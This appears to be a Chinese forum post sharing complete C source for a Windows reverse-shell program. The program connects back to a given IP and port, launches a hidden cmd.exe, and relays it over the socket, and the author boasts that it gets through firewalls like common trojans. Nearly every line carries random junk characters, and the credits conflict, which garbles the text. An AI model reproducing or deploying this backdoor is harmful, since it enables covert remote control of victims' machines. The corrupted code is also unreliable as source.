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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $=iV)-  
!kl9X-IiI  
/* ==============================  H)),~<s  
Rebound port in Windows NT pUs s_3  
By wind,2006/7 \lnpsf  
===============================*/ J<<0U;  
#include e.<$G'  
#include 1{8SKfMdP  
]e'Ol$3U9=  
#pragma comment(lib,"wsock32.lib") e[HP]$\   
\/J7U|@Lt  
void OutputShell(); $\|$ekil4  
SOCKET sClient; pFLR!/J  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <wt#m`Za  
#[^?f[ 9r  
void main(int argc,char **argv) )pS1yYLj  
{ {jX h/`  
WSADATA stWsaData; G] -$fz  
int nRet; +)#d+@-  
SOCKADDR_IN stSaiClient,stSaiServer; u.t(78N  
pv.0!a/M  
if(argc != 3) #HD$=ECcw  
{ 'J (4arN  
printf("Useage:\n\rRebound DestIP DestPort\n"); e5bRi0  
return; f-N:  
} 5G@z l  
T#.5F7$u  
WSAStartup(MAKEWORD(2,2),&stWsaData); c]`}DH,TJ  
{%$eq{~m  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O Xy>Tlv  
b]v.jgD  
stSaiClient.sin_family = AF_INET; N@$g"w  
stSaiClient.sin_port = htons(0); 28u)q2s^W|  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TbqED\5@9w  
.z u0GsU=  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =} Np0UP  
{ / c1=`OJ  
printf("Bind Socket Failed!\n"); lHBk&UN'  
return; =@U~ sl [  
} opQ%!["N  
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stSaiServer.sin_family = AF_INET; DGl_SMJb  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 12\h| S~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #?)g?u%g=  
PN ,pEk|  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) e"u=4nk  
{ *ip2|2G$  
printf("Connect Error!"); m}\G.$h4  
return; P9~7GFas|  
} 0FrmZ$  
OutputShell(); -~O7.E(ok  
} c:0nOP  
?mxBMtc  
void OutputShell() H#IJ&w|  
{ lwEJ)Bv  
char szBuff[1024]; (9hCO-r  
SECURITY_ATTRIBUTES stSecurityAttributes; 5mwtlC':l?  
OSVERSIONINFO stOsversionInfo; gPO,Z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; g9> 0N#<  
STARTUPINFO stStartupInfo; XUT,)dL  
char *szShell; t|Cp<k]B  
PROCESS_INFORMATION stProcessInformation; 3n;UXYJ%  
unsigned long lBytesRead; )UA$."~O  
!|hxr#q=4  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); iR;Sd >)  
bD_|n!3  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >U\,(VB  
stSecurityAttributes.lpSecurityDescriptor = 0; '_& Xemz  
stSecurityAttributes.bInheritHandle = TRUE; Mg? ^5`*  
Z?k4Kb  
N|[P%WM3  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {ndL]c'v  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ws"eF0,'Z  
CL{R.OA  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Jh2eo+/%  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1&A@Zo5|  
stStartupInfo.wShowWindow = SW_HIDE; 9%e& Z'l  
stStartupInfo.hStdInput = hReadPipe; f/t1@d!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 40}qf}8n t  
lhsd 39NM  
GetVersionEx(&stOsversionInfo); Q2sX7 cE  
PjriAlxD  
switch(stOsversionInfo.dwPlatformId) o<@b]ukl&  
{ Ag1*.t|  
case 1: / /63?s+  
szShell = "command.com"; Jolr"F?  
break; Mf)0Y~_:R#  
default: 40cgsRa|  
szShell = "cmd.exe"; E6(OEC%,  
break; ]m} <0-0  
} 44T>Yp09  
5~Vra@iab:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); EsR_J/:Qe  
N yT|=`;  
send(sClient,szMsg,77,0); b|F_]i T  
while(1) b~?FV>gl  
{ !yAg!V KY  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _,V 9^  
if(lBytesRead) /Po't(-x  
{ X2b<_j3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); o~7~S  
send(sClient,szBuff,lBytesRead,0); q]F2bo  
} 49b#$Xq  
else a f[<[2pma  
{ :G$f)NMK  
lBytesRead=recv(sClient,szBuff,1024,0); 9-)D"ZhLe  
if(lBytesRead<=0) break; jt|e?1:vF  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); VfAC&3 %M  
} RRh0G>*  
} uJ jm50R<  
.nCF`5T!  
return; 7{HJjH!zx  
}
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